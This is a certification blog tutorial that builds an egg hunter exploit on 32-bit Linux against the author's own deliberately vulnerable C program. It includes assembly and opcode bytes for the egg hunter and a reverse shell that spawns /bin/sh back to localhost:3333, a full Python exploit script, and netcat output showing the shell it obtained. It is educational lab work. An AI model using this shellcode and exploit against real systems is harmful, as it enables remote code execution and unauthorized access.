INTRODUCTION
This tutorial is part of the SecurityTube Linux Assembly Expert certification.
The goal of this assignment is to study Egg Hunter Shellcode, create a Linux 32bit demo and configure it for different payloads.
The tutorial will contain example source with comments. Listed source code may have formatting issues so best place to obtain copies is from the project’s Github repo.
This assignment will build from the previous bind shell and reverse shell assignments and so will not be reiterating explanations already covered there.
Egg Hunter Research
The problem
Generally shellcode tends to be delivered as part of an exploit against vulnerable software.
Below I have listed an example piece of software which is vulnerable to a stack overflow exploit in the send parameter passed to it. The source code comments explain why.
/* vulnerable.c Author: Mutti K Purpose: Demonstrate egg hunter shellcode. Supply shellcode as param 1 and overflow + egg hunter in param 2. Crashs when param 2 is 76 bytes */ #include <stdio.h> #include <string.h> #include <stdlib.h> int shellcode_buffer_size = 500; int bof_buffer_size = 20; //20 get seg fault at 76 bytes void overflow(char *shellc, char *hunter) { char egghunter[bof_buffer_size]; char shellcode[shellcode_buffer_size]; //Store shellcode on stack strncpy(shellcode,shellc, shellcode_buffer_size); //vuln function to overflow strcpy(egghunter, hunter); } int main(int argc, char *argv[]) { /*if no argument…*/ if(argc <3) { printf("Syntax: %s <input shellcode (%d bytes)> <input bof+egghunter (%d bytes)>\n", argv[0], shellcode_buffer_size,bof_buffer_size); exit (0); } overflow(argv[1],argv[2]); return 0; }
First ensure your system has ASLR disabled then compile
target$ sudo echo 0 > /proc/sys/kernel/randomize_va_space target$ gcc -o ./vulnerable vulnerable.c -fno-stack-protector -z execstack
To trigger vulnerability we issue
target$ ./vulnerable `perl -e 'print "A"x500 . " " . "B"x75'` target$ ./vulnerable `perl -e 'print "A"x500 . " " . "B"x76'` Segmentation fault
Let us imagine that we have shellcode that is bigger than the space where the payload is delivered (parameter two). Say the shellcode is 129 bytes and it won’t fit into the payload.
This is where the Egg Hunter comes into play as part of a multi-staged attack.
The Solution
An Egg Hunter is very specific code that allows an exploit to search the Virtual Address Space of a process for a specific pattern without violating memory access restrictions
When I say specific code, I am hinting that there are multiple implementations of Egg Hunters that have to be targeted at the desired Operating Systems.
Let us examine an Egg Hunter targeted for my 32bit Linux host.
;; egg_hunter.asm ; Author: Mutti K ; Purpose: Demonstration of simple egg hunter. global _start section .text _start: cld xor edx,edx ; clear xor ecx,ecx ; clear next_page: or dx,0xfff ; Add page_size-1 to edx next_loc: inc edx ; Increment pointer lea ebx,[edx+0x4] push 0x21 ; access() syscall pop eax int 0x80 ; Interrupt cmp al,0xf2 ; Check for EFAULT je next_page ; EFAULT raised, next page mov eax,0x90509050 ; egg search value . Shellcode needs to have this egg prepended twice. mov edi,edx ; edi needs memory address value in edx for scasd op. scasd ; Compare EAX (egg) with doubleword at ES:(E)DI and set status flags and if a match is found then increment edi by 4 jne next_loc ; Not found scasd ; Look for second occurrance of egg_sig jne next_loc ; Not found jmp edi ; Egg found so jump to start of real shellcode
Key components of this Egg Hunter:
push 0x21 pop eax int 0x80
This is a Linux specific syscall which will help identify memory access violations.
Let’s take a quick look at the man page
target$ man access NAME access - check real user's permissions for a file ... int access(const char *pathname, int mode); DESCRIPTION access() checks whether the calling process can access the file path‐ name. If pathname is a symbolic link, it is dereferenced.
mov eax,0x90509050
This is our Egg tag/signature that we will look for in memory to identify the start of the final shellcode.
When the egg signature pattern is found twice in a row then execution flow is passed to the following bytes after the egg signature.
Further reading on the topic can be found the awesome paper by skape.
Demonstration
Back to our vulnerable program.
If you recall we the program accepted two parameters, the second parameter caused a stack overflow.
I am now going to exploit the second parameter and include my Egg Hunter shellcode as stage one and pass my egg + reverse shellcode to the programs first parameter.
Something like this
./vulnerable [egg+reverse_shell] [egg_hunter+eip]
First we convert the egg_hunter into machine code ready to be placed into our exploit script
target$ nasm -f elf32 -o egg_hunter .o egg_hunter .nasm target$ ld -o egg_hunter egg_hunter .o target$ for i in `objdump -d egg_hunter | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done \xfc\x31\xd2\x31\xc9\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7
Now I will do the same with my reverse shellcode
; shellcode.asm ; Author: Mutti K ; Purpose: Demonstration of simple reverse shell ; Note: null values have been removed. global _start section .text _start: ; socket() xor eax,eax ; zero out xor ebx,ebx ; zero out xor ecx,ecx ; zero out mov al, 0x66 ;socketcall() mov bl, 0x1 ; socket() socketcall() sub call number push ecx ; Param 3. Reverse order params onto stack push 0x1 ; Param 2 push 0x2 ; Param 1 mov ecx, esp ; store stack point of socket arguments int 0x80 mov esi, eax ; store newly created socket file descriptor for later use ; connect() xor eax,eax ; zero out xor ebx,ebx ; zero out xor ecx,ecx ; zero out mov al, 0x66 ;socketcall() mov bl, 0x3 ; bind() socketcall() sub call number ;Create structure on stack for param 2. push ecx ; bytes 16-12, not needed push ecx ; bytes 12-18, not needed ; Original example code had null bytes. ; IP address may contain 0 such as 10.0.0.1. Some arithmatic is required to avoid using zeros. ; e.g. ip address 127.0.0.1 in hex is 7f000001h, ffffffffh - 7f000001h = 80fffffeh. ; We can use ffffffffh - 80fffffe = 7f000001h to obtain 127.0.0.1 ; push 0x0100007f ; bytes 8-4, connect to ip address 127.0.0.1. 127d 0d 0d 1d = reverse 01h 00h 00h 7fh mov ecx, 0xffffffff sub ecx, 0x80fffffe ; This value needs to change when the connect ip address changes bswap ecx ; Reverse order bytes for ip address push ecx push WORD 0x050d ; Port number to listen on 3333d d05h. Reverse byte order and in hex, bytes 4-2 push WORD 0x02 ; AF_INET, bytes 2-0 mov edi, esp ; store pointer to structure for param 2 of bind() ; Reverse order params for bind() onto stack push 0x10 ; Param 3 is length of param 2 structure push edi ; Param 2 pointer to structure push esi ; Param 1, socket file descriptor from socket() call mov ecx, esp ; store stack point of socket arguments int 0x80 ; dup2() xor eax,eax ; zero out xor ebx,ebx ; zero out xor ecx,ecx ; zero out mov al, 0x3f ; dup2() ;mov ecx, 0x0; oldfd, stdin. ECX already zeroed mov ebx, esi ; newfd, returned fd from socket() int 0x80 ; dup2() xor eax,eax ; zero out xor ebx,ebx ; zero out xor ecx,ecx ; zero out mov al, 0x3f ; dup2() mov cl, 0x1 ; oldfd, stdout mov ebx, esi ; newfd, returned fd from socket() int 0x80 ; dup2() xor eax,eax ; zero out xor ebx,ebx ; zero out xor ecx,ecx ; zero out mov al, 0x3f ; dup2() mov cl, 0x2 ; oldfd, stderror mov ebx, esi ; newfd, returned fd from socket() int 0x80 ; execve() xor eax,eax ; zero out xor ebx,ebx ; zero out xor ecx,ecx ; zero out xor edx,edx ; zero out ;mov edx, 0x0 ; Param 3, null. EDX already zeroed out ;mov ecx, 0x0 ; Param 2, null. ECX already zeroed out ;create string on stack /bin/sh push edx ; null terminate shell string push 0x68732f2f ; hs// push 0x6e69622f ; nib/ mov ebx, esp ; Param 1 store pointer to string mov al, 0xb ; execve() int 0x80
Prepare for insertion into exploit script
target$ nasm -f elf32 -o egg_hunter .o egg_hunter .nasm target$ ld -o egg_hunter egg_hunter .o $ for i in `objdump -d shellcode | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done \x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x03\x51\x51\xb9\xff\xff\xff\xff\x81\xe9\xfe\xff\xff\x80\x0f\xc9\x51\x66\x68\x0d\x05\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x31\xc0\x31\xdb\x31\xc9\xb0\x3f\x89\xf3\xcd\x80\x31\xc0\x31\xdb\x31\xc9\xb0\x3f\xb1\x01\x89\xf3\xcd\x80\x31\xc0\x31\xdb\x31\xc9\xb0\x3f\xb1\x02\x89\xf3\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80
Final exploit script:
#!/usr/bin/python """ Author: Mutti K Purpose: print exploit code to trigger vulnerability in test program which demonstrates egg hunter shellcode. The expected output is two strings in the following format "[egg][sled][shellcode] [sled][egghunter][eip][buffer]. I calculated the sizes for parts of the payload to make it easier to drop in new shellcode of varying sizes. """ eip = "\xe4\xf1\xff\xbf" #This EIP value works with or without GDB because extra sleds and jmp back ensures we egg hunter egg_sig = "\x90\x50\x90\x50" egg = egg_sig + egg_sig # Exploit is unreliable because stack contentss is volatile due to env variables. # Incase EIP value doesn't point to top of stack and instead points to bottom then buffer sleds -62 and JMP 0641 will correct buffer = "\x90"*62 + "\xEB\x80" shellcode_payload_max_size = 500 exploit_payload_max_size = 148 payload_max_size = 649 shellcode = \ "\x31\xc0\x31\xdb\x31\xc9\xb0\x66" \ "\xb3\x01\x51\x6a\x01\x6a\x02\x89" \ "\xe1\xcd\x80\x89\xc6\x31\xc0\x31" \ "\xdb\x31\xc9\xb0\x66\xb3\x03\x51" \ "\x51\xb9\xff\xff\xff\xff\x81\xe9" \ "\xfe\xff\xff\x80\x0f\xc9\x51\x66" \ "\x68\x0d\x05\x66\x6a\x02\x89\xe7" \ "\x6a\x10\x57\x56\x89\xe1\xcd\x80" \ "\x31\xc0\x31\xdb\x31\xc9\xb0\x3f" \ "\x89\xf3\xcd\x80\x31\xc0\x31\xdb" \ "\x31\xc9\xb0\x3f\xb1\x01\x89\xf3" \ "\xcd\x80\x31\xc0\x31\xdb\x31\xc9" \ "\xb0\x3f\xb1\x02\x89\xf3\xcd\x80" \ "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" \ "\x52\x68\x2f\x2f\x73\x68\x68\x2f" \ "\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" shellcode_nopsled = "\x90"*(shellcode_payload_max_size - (len(egg)+len(shellcode)) )#Ensure buffer size is consistent shellcode_payload = egg + shellcode_nopsled + shellcode shellcode_size = len(shellcode_payload) egg_hunter = \ "\xfc\x31\xd2\x31\xc9\x66\x81\xca" \ "\xff\x0f\x42\x8d\x5a\x04\x6a\x21" \ "\x58\xcd\x80\x3c\xf2\x74\xee\xb8" + egg_sig + \ "\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7" exploit_nopsled = "\x90"*(exploit_payload_max_size - (len(eip)+len(egg_hunter) +len(buffer)) )#Ensure buffer size is consistent exploit_payload = exploit_nopsled + egg_hunter + eip + buffer payload = shellcode_payload + " " + exploit_payload payload_final_size = len(payload) exploit_payload_size = len(exploit_payload) """ Help with debugging print "Payload max size " + str(payload_max_size) + " bytes" print "Payload final size " + str(payload_final_size) + " bytes" print "Exploit payload max size " + str(exploit_payload_max_size) + " bytes" print "Exploit final size " + str(exploit_payload_size) + " bytes" print "Shellcode payload max size " + str(shellcode_payload_max_size) + " bytes" print "Shellcode final size " + str(shellcode_size) + " bytes" print "Shellcode size " + str(len(shellcode)) + " bytes" """ print payload
I will now start a netcat listener to wait for the reverse shell
$ nc -lvvvp 3333 listening on [any] 3333 ...
Run the exploit against the vulnerable program
target$ ./vulnerable `python ./exploit.py`
After several seconds of the Egg Hunter searching memory for the egg, the netcat listener receives the connect back
$ nc -lvvvp 3333 listening on [any] 3333 ... connect to [127.0.0.1] from localhost [127.0.0.1] 42880 id uid=1000(remote) gid=1001(remote) groups=1001(remote) exit sent 8, rcvd 54
Exchangeable shellcode payloads
The Egg Hunter will run with different shellcode payloads as long as the shellcode is prefixed with the egg.
Thank you
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-473
Reblogged this on youremindmeofmymother.